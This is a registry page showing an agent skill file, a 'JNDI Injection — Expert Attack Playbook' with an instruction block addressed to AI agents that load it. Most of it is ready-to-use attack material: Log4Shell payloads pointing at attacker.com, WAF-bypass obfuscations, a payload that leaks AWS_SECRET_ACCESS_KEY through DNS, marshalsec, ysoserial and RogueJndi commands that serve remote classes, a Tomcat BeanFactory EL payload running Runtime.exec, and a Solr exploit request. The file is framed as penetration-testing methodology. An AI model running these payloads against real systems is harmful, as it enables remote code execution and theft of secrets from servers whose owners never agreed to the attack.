agentleFS
JustineDevsJustineDevs/premortem/.agents/skills/jndi-injection/SKILL.md

jndi-injection

Skill2 starsChanged 5 months agoApache-2.0View on GitHub

JNDI injection playbook. Use when Java applications perform JNDI lookups with attacker-controlled names, especially via Log4j2, Spring, or any code path reaching InitialContext.lookup().

3 other projects use a version of this, 2 of them edited.

Adopted by

Most recently taken up by

The file

We split this skill into the rules it gives an agent

5 rules. About 0 are common, 0 are distinctive, and 5 are very specific to this project.

  • ≈0

    Common · estimate

    Many files like this have a rule of this kind.

  • ≈0

    Distinctive · estimate

    This author's own choices. Worth a look.

  • 5

    Very specific

    Tied to their project's names, files or tools. Probably skip.

  • Common
  • Distinctive
  • Very specific
  1. Very specific:

    Vulnerability: when InitialContext.lookup(USER_INPUT) receives an attacker-controlled URL, the JVM connects to the attacker's server and …

    line 22
  2. Very specific:

    Instead of returning a remote class URL, the attacker's LDAP server returns a serialized Java object in the javaSerializedData attribute.

    line 79
  3. Very specific:

    When Tomcat's BeanFactory is on the classpath, the LDAP response can reference it as a factory with EL expressions:

    line 89
  4. Very specific:

    When WAF detects paired ${jndi:...} in a single request, split across two log entries:

    line 170
  5. Very specific:

    If the application concatenates log entries before re-processing (e.g., aggregation pipelines), the combined …

    line 179

≈ “Common” is an estimate: at least 1 in 5 of the 364,980 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.

Keep what fits and drop the rest. Your version, ready for your agents.
Files
SKILL.md

SKILL: JNDI Injection — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert JNDI injection techniques. Covers lookup mechanism abuse, RMI/LDAP class loading, JDK version constraints, Log4Shell (CVE-2021-44228), marshalsec tooling, and post-8u191 bypass via deserialization gadgets. Base models often confuse JNDI injection with general deserialization — this file clarifies the distinct attack surface.

0. RELATED ROUTING

  • deserialization-insecure when JNDI leads to deserialization (post-8u191 bypass path)
  • expression-language-injection when the JNDI sink is reached via SpEL or OGNL expression evaluation

1. CORE MECHANISM

JNDI (Java Naming and Directory Interface) provides a unified API for looking up objects from naming/directory services (RMI, LDAP, DNS, CORBA).

Vulnerability: when InitialContext.lookup(USER_INPUT) receives an attacker-controlled URL, the JVM connects to the attacker's server and loads/executes arbitrary code.

// Vulnerable code pattern:
String name = request.getParameter("resource");
Context ctx = new InitialContext();
Object obj = ctx.lookup(name);  // name = "ldap://attacker.com/Exploit"

2. ATTACK VECTORS

RMI (Remote Method Invocation)

rmi://attacker.com:1099/Exploit

Attacker runs an RMI server returning a Reference object pointing to a remote class:

// Attacker's RMI server returns:
Reference ref = new Reference("Exploit", "Exploit", "http://attacker.com/");
// JVM downloads http://attacker.com/Exploit.class and instantiates it

LDAP

ldap://attacker.com:1389/cn=Exploit

Attacker runs an LDAP server returning entries with javaCodeBase, javaFactory, or serialized object attributes.

LDAP is preferred over RMI because LDAP restrictions were added later (JDK 8u191 vs 8u121 for RMI).

DNS (detection only)

dns://attacker-dns-server/lookup-name

Useful for confirming JNDI injection without RCE — triggers DNS query to attacker's authoritative NS.


3. JDK VERSION CONSTRAINTS AND BYPASS

JDK VersionRMI Remote ClassLDAP Remote ClassBypass
< 8u121YESYESDirect class loading
8u121 – 8u190NO (trustURLCodebase=false)YESUse LDAP vector
>= 8u191NONOReturn serialized gadget object via LDAP
>= 8u191 (alternative)NONOBeanFactory + EL injection

Post-8u191 Bypass: LDAP → Serialized Gadget

Instead of returning a remote class URL, the attacker's LDAP server returns a serialized Java object in the javaSerializedData attribute. The JVM deserializes it locally — if a gadget chain (e.g., CommonsCollections) is on the classpath, RCE is achieved.

# ysoserial JRMPListener approach:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "id"
# Then JNDI lookup points to: rmi://attacker:1099/whatever

Post-8u191 Bypass: BeanFactory + EL

When Tomcat's BeanFactory is on the classpath, the LDAP response can reference it as a factory with EL expressions:

javaClassName: javax.el.ELProcessor
javaFactory: org.apache.naming.factory.BeanFactory
forceString: x=eval
x: Runtime.getRuntime().exec("id")

4. TOOLING

marshalsec — JNDI Reference Server

# Start LDAP server serving a remote class:
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389

# Start RMI server:
java -cp marshalsec.jar marshalsec.jndi.RMIRefServer "http://attacker.com/#Exploit" 1099

# The #Exploit refers to Exploit.class hosted at http://attacker.com/Exploit.class

JNDI-Injection-Exploit (all-in-one)

java -jar JNDI-Injection-Exploit.jar -C "command" -A attacker_ip
# Automatically starts RMI + LDAP servers with multiple bypass strategies

Rogue JNDI

java -jar RogueJndi.jar --command "id" --hostname attacker.com
# Provides RMI, LDAP, and HTTP servers with auto-generated payloads

5. LOG4J2 — CVE-2021-44228 (LOG4SHELL)

Mechanism

Log4j2 supports Lookups — expressions like ${...} that are evaluated in log messages. The jndi lookup triggers InitialContext.lookup():

${jndi:ldap://attacker.com/x}

Any logged string containing this pattern triggers the vulnerability — User-Agent, form fields, HTTP headers, URL paths, error messages.

Detection Payloads

${jndi:ldap://TOKEN.collab.net/a}
${jndi:dns://TOKEN.collab.net}
${jndi:rmi://TOKEN.collab.net/a}

# Exfiltrate environment info via DNS:
${jndi:ldap://${sys:java.version}.TOKEN.collab.net}
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.TOKEN.collab.net}
${jndi:ldap://${hostName}.TOKEN.collab.net}

WAF Bypass Variants

Log4j2's lookup parser is very flexible:

${${lower:j}ndi:ldap://attacker.com/x}
${${upper:j}${upper:n}${upper:d}i:ldap://attacker.com/x}
${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.com/x}
${j${::-n}di:ldap://attacker.com/x}
${jndi:l${lower:D}ap://attacker.com/x}
${${env:NaN:-j}ndi${env:NaN:-:}ldap://attacker.com/x}

Split-Log Bypass (Advanced)

When WAF detects paired ${jndi:...} in a single request, split across two log entries:

# Request 1 (logged first):
X-Custom: ${jndi:ldap://attacker.com/
# Request 2 (logged second):
X-Custom: exploit}

If the application concatenates log entries before re-processing (e.g., aggregation pipelines), the combined ${jndi:ldap://attacker.com/exploit} triggers.

Real-World Case: Solr Log4Shell

# Confirm via DNSLog — Solr admin cores API:
GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.TOKEN.dnslog.cn}
# DNS hit with Java version = confirmed Log4Shell in Solr

Injection Points to Test

User-Agent          X-Forwarded-For       Referer
Accept-Language     X-Api-Version         Authorization
Cookie values       URL path segments     POST body fields
Search queries      File upload names     Form field names
GraphQL variables   SOAP/XML elements     JSON values

Affected Versions

  • Log4j2 2.0-beta9 through 2.14.1
  • Fixed in 2.15.0 (partial), fully fixed in 2.17.0
  • Log4j 1.x is NOT affected (different lookup mechanism)

6. OTHER JNDI SINKS (BEYOND LOG4J)

Product / FrameworkSink
Spring FrameworkJndiTemplate.lookup()
Apache SolrConfig API, VelocityResponseWriter
Apache DruidVarious config endpoints
VMware vCenterMultiple endpoints
H2 Database ConsoleJNDI connection string
Fastjson@type + JdbcRowSetImpl.setDataSourceName()

7. TESTING METHODOLOGY

Suspected JNDI injection point?
├── Send DNS-only probe: ${jndi:dns://TOKEN.collab.net}
│   └── DNS hit? → Confirmed JNDI evaluation
│
├── Determine JDK version:
│   └── ${jndi:ldap://${sys:java.version}.TOKEN.collab.net}
│
├── JDK < 8u191?
│   ├── Start marshalsec LDAP server with remote class
│   └── ${jndi:ldap://attacker:1389/Exploit} → direct RCE
│
├── JDK >= 8u191?
│   ├── LDAP → serialized gadget (need gadget chain on classpath)
│   ├── BeanFactory + EL (need Tomcat on classpath)
│   └── JRMPListener via ysoserial
│
└── WAF blocking ${jndi:...}?
    └── Try obfuscation: ${${lower:j}ndi:...}

8. QUICK REFERENCE

# Safe confirmation (DNS only):
${jndi:dns://TOKEN.collab.net}

# LDAP RCE (JDK < 8u191):
${jndi:ldap://ATTACKER:1389/Exploit}

# Version exfiltration:
${jndi:ldap://${sys:java.version}.TOKEN.collab.net}

# Log4Shell with WAF bypass:
${${lower:j}ndi:${lower:l}dap://ATTACKER/x}

# Start LDAP reference server:
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://ATTACKER/#Exploit" 1389

# Post-8u191 — ysoserial JRMP:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "id"

Download now (ZIP)

Does it work?

Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.

No reviews yet

People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.

  • It worked
  • Partly
  • It didn't
What did you use it for? e.g. Reviewing pull requests in a Rails app

Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.

Your trail

Files you open will collect here, so you can find them again.

Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.

Now do this for your own.

Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.